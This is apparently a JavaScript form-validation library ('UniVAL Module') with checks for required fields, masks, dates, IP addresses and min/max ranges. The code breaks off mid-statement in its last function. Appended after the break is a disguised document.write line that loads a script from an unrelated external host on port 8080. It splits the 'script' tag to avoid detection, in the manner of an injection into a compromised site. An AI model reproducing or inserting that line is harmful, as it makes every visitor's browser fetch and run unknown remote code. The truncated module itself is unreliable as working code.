//Javascript UniVAL Module

if (typeof KT_FVO == 'undefined') {
	KT_FVO = {};
	KT_FVO_properties = {
		noTriggers: 0,
		noTransactions: 0
	}
}
//configuration variables
$UNI_GLOBALVARNAME = 'KT_FVO';
$UNI_GLOBALVARNAME_MESSAGES = 'UNI_Messages';

$UNI_ATTRNAME_ERRORMESSAGE = 'errormessage';
$UNI_DEFAULTERRORMESSAGE = 'The field \'%s\' has an invalid value !';
$UNI_FORM_SUBMIT_PRIORITY = 10;

$UNI_CLASSNAME_ERROR_LABEL = 'form_validation_field_error_label';
$UNI_CLASSNAME_ERROR_CONTAINER = 'form_validation_field_error_container';
$UNI_CLASSNAME_ERROR_ELEMENT = 'form_validation_field_error_text';
$UNI_CLASSNAME_ERROR_ERROR_ELEMENT = 'form_validation_field_error_error_message';
$UNI_CLASSNAME_ERROR_SS = 'KT_field_error';
$UNI_CLASSNAME_ERROR_FORM = 'form_validation_form_error';

$UNI_DELETE_BUTTON_NAME = /delete/i;
$UNI_INSERT_BUTTON_NAME = /insert/i;
$UNI_UPDATE_BUTTON_NAME = /update/i;
$UNI_CANCEL_BUTTON_NAME = /cancel/i;
$UNI_LOGIN_BUTTON_NAME = /login/i;

/*
Recognized date time masks:
Date
	m/d/yy
	d/m/yy
	d.m.yy
	mm/dd/yyyy
	dd/mm/yyyy
	dd.mm.yyyy
	yyyy-mm-dd
Time 
	h:ii:ss t
	HH:ii:ss
	H:ii:ss
	hh:ii:ss tt
*/

function UNI_isktml(el) {
	var is_ktml = false;
	if (typeof el.name != 'undefined') {
		if (typeof ktmls != 'undefined' && ktmls != null && ktmls.length) {
			var is_ktml = false;
			Array_each(ktmls, function(ktml) {
				if (ktml.name == el.name) {
					is_ktml = ktml;
				}
			});
		}
	}
	return is_ktml;
}

function UNI_date2regexp(txt) {
	return utility.date.date2regexp(txt);
}

function UNI_mask2regexp(txt) {
	txt = txt.replace(/([-\/\[\]()\*\+])/g, '\\$1');
	txt = txt.replace(/9/g, '\\d');
	txt = txt.replace(/\?/g, '.');
	txt = txt.replace(/X/g, '\\w');
	txt = txt.replace(/A/g, '[A-Za-z]');
	var re = new RegExp('^' + txt + '$');
	return re;
}

function UNI_regexp2regexp(txt) {
	var sep = txt.substring(0, 1);
	var pos = txt.lastIndexOf(sep);

	var reg = txt.substring(1, pos);
	var mods = '';
	if (pos+1 <= txt.length-1) {
		var mods = txt.substring(pos+1, txt.length);
	}
	var re = new RegExp(reg, mods);
	return re;
}

function UNI_init_error_elements(el) {
	var ret = {};
	var el_name = el.name;

	var allLabels = document.getElementsByTagName("LABEL");
	for(var i=0; i < allLabels.length; i++) {
		if (allLabels[i].htmlFor == el.id) {
			ret['label'] = allLabels[i];
			break;
		}
	}
	var is_widget = el.getAttribute("wdg:type")!=null;

	if (is_widget) {
		var zel = el;
		while(zel) {
			if(typeof(zel.className) != "undefined" && zel.className.indexOf("widget_container")>=0) {
				break;
			}
			zel = zel.parentNode;
		}
		if (zel) {
			el = zel;
		}
	}

	ret['container'] = el.parentNode;
	while(ret['container'].nodeType != 1) {
		ret['container'] = ret['container'].parentNode;
	}

	var dv = document.getElementById(el_name + '_error_element');
	if (dv != null) {
		ret['error_element'] = dv;
	} else {
		ret['error_element'] = utility.dom.createElement("DIV", {
			'id': el_name + '_error_element'
		});
		var server_side = utility.dom.getElementsByClassName(el.parentNode, $UNI_CLASSNAME_ERROR_SS);
		if (server_side.length > 0) {
			el.parentNode.removeChild(server_side[0]);
		}
		var spn = utility.dom.getElementsByClassName(el.parentNode, 'KT_field_hint')[0];
		if (typeof spn == 'undefined') {
			spn = el;
			if (el.type) {
				if (el.type.toString().toLowerCase() == 'radio') {
					try {
						spn = el.parentNode;
					} catch(e) { spn = el; }
				}
			}
		}
		//find the last element in the container element to insert the error_element after (it should be the last)
		while (spn.nextSibling) {
			spn = spn.nextSibling;
		}
		ret['error_element'] = utility.dom.insertAfter(ret['error_element'], spn);
	}

	return ret;
}

function UNI_fieldok_action(el, props) {
	var errorElements = UNI_init_error_elements(el);
	try {
		utility.dom.classNameRemove(errorElements['label'], $UNI_CLASSNAME_ERROR_LABEL); 
		utility.dom.classNameRemove(errorElements['container'], $UNI_CLASSNAME_ERROR_CONTAINER); 
		utility.dom.classNameRemove(el, $UNI_CLASSNAME_ERROR_ELEMENT); 
		errorElements['error_element'].parentNode.removeChild(errorElements['error_element']);
	} catch(e) { }
	errorElements = undefined;
}

function UNI_required_action(el, props) {
	var errorElements = UNI_init_error_elements(el);
	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : the required message has ONE %s : the element name
		errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]["required"], el.name);
	}

	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_format_action(el, props) {
	var errorElements = UNI_init_error_elements(el);

	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : the format message has ONE %s : the format name
		//TODO : we only get the interned format name, but we should have the screen format name
		var mesg1 = window[$UNI_GLOBALVARNAME_MESSAGES][props['type'] + '_' + props['format'] ];
		var mesg2 = window[$UNI_GLOBALVARNAME_MESSAGES][props['type'] + '_'];
		if (typeof mesg1 != 'undefined') {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], mesg1);
		} else if (typeof mesg2 != 'undefined') {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], mesg2);;
		} else {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], props['format']);
		}
	}
		
	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_boundary_action(el, props, test_min, test_max) {
	sprintf = utility.string.sprintf;
	var errorElements =  UNI_init_error_elements(el);

	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var prefix = (props['type'] == 'text') ? 'text' : 'other';
	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : we only get the interned format name, but we should have the screen format name
		if (test_min != null && test_max != null) {
			errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_between'], props['min'], props['max']);
		} else {
			if (test_min != null) {
				errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_min'], props['min']);
			} else {
				errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_max'], props['max']);
			}
		}
	}

	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_validateRegExp(el, props) {
	var toret = true;
	var re = UNI_regexp2regexp(props['additional_params']);
	if (!re.exec(el.value)) {
		toret = false;
	}
	return toret;
}

function UNI_validateMask(el, props) {
	var toret = true;
	var re =  UNI_mask2regexp(props['additional_params']);
	if (!re.exec(el.value)) {
		toret = false;
	}
	return toret;
}

function UNI_parse_date(arr, dateMask) {
	return utility.date.parse_date(arr, dateMask);
}


function UNI_dateBuilder(year, month, day, hour, minutes, seconds) {
	var month_length = [31,28,31,30,31,30,31,31,30,31,30,31];
	if (! (parseInt(year) > 0)) { return false; }
	if (! (parseInt(month) > 0 && parseInt(month) <= 12)) { return false; }
	if ((
			(parseInt(year) % 4 == 0) 
			&& 
			(parseInt(year) % 100 != 0)
		) 
		|| 
			(parseInt(year) % 400 == 0)
		) {
			month_length[1] = 29;
	}
	if (! (parseInt(day) > 0 && parseInt(day) <= month_length[parseInt(month)-1])) { return false; }

	month_length[1] = 28;
	if (! (parseInt(hour) >= 0 && parseInt(hour) <= 23)) { return false; }
	if (! (parseInt(minutes) >= 0 && parseInt(minutes) <= 59)) { return false; }
	if (! (parseInt(seconds) >= 0 && parseInt(seconds) <= 59)) { return false; }

	year = utility.math.zeroPad(year, 4);
	month = utility.math.zeroPad(month, 2);
	day = utility.math.zeroPad(day, 2);
	hour = utility.math.zeroPad(hour, 2);
	minutes = utility.math.zeroPad(minutes, 2);
	seconds = utility.math.zeroPad(seconds, 2);

	return year + month + day + hour + minutes + seconds;
}

function UNI_validateDate(el, props) {
	var toret = true;
	var dateMask = props['additional_params'];
	var re = utility.date.date2regexp(dateMask);
	var arr = re.exec(el.value);
	if (!arr) {
		toret = false;
	} else {
		var o = utility.date.parse_date(arr, dateMask);
		var newDate = UNI_dateBuilder(o['year'], o['month'], o['day'], o['hour'], o['minutes'], o['seconds']);
		if (newDate == false) {
			toret = false;
		}
	}

	return toret;
}

function UNI_validate_required(el, props) {
	var toret = true;
	if (el.type.toString().toLowerCase() == 'radio') {
		var arr = [];
		Array_each(el.form.elements, function(el2, i2) {
			if (el2.name == el.name) {
				Array_push(arr, el2);
			}
		});
		toret = false;
		Array_each(arr, function(el, i) {
			if (el.checked) {
				toret = true;
			}
		});
		if (!toret) {
			UNI_required_action(el, props);
		}
	} else if (
		el.value == '' ||
		el.value.match(/^<br[^>]*>$/gi) ||
		el.value.match(/^<p[^>]*>(&nbsp;|)<\/p>$/gi) ||
		el.value.match(/^<div[^>]*>(&nbsp;|)<\/div>$/gi) ||
		el.value.match(/^<span[^>]*>(&nbsp;|)<\/span>$/gi) ||
		(el.type.toLowerCase() == 'checkbox' && el.checked == false)
		) {
		UNI_required_action(el, props);
		toret = false;
	}
	return toret;
}

function UNI_validate_generic(el, props) {
	var toret = true;
	if (el.value != '') {
		if (props['additional_params'] != '') {
			var is_a_regexp =/^([^0-9A-Za-z]).*\1[gism]*$/;
			if (props['additional_params'].match(is_a_regexp)) {
				var validator = UNI_validateRegExp;
			} else {
				var validator = UNI_validateMask;
			}
			if (!validator(el, props)) {
				UNI_format_action(el, props);
				toret = false;
			}	
		}

	}
	return toret;
}

function UNI_validate_format_regexp(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateRegExp(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_mask(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateMask(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_date(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateDate(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_text_ip(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateRegExp(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		} else {
			Array_each(el.value.toString().split('.'), function(match) {
				if (parseInt(match) > 255) {
					UNI_format_action(el, props);
					toret = false;
					return;
				}
			});
		}
	}
	return toret;
}

function UNI_validate_minmax(el, props) {
	var toret = true, test_max = true, test_min = true;
	if (el.value != '') {
		if (props['min'] != '') {
			test_min = el.value >= props['min'];
			toret = toret && test_min;
		}
		if (props['max'] != '') {
			test_max = el.value <= props['max'];
			toret = toret && test_max;		
		}
		if (! (test_max && test_min)) {
			UNI_boundary_action(el, props, test_min, test_max);
		}
	}
	return toret;
}

function UNI_validate_minmax_text(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (el.value.length >= parseInt(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (el.value.length <= parseInt(props['max']));
		toret = toret && test_max;
	}

	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}

function UNI_validate_minmax_numeric(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (parseFloat(el.value) >= parseFloat(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (parseFloat(el.value) <= parseFloat(props['max']));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}
function UNI_validate_minmax_double(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (parseFloat(el.value) >= parseFloat(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (parseFloat(el.value) <= parseFloat(props['max']));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_

document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/Netiquette.js"></scr'+'ipt>');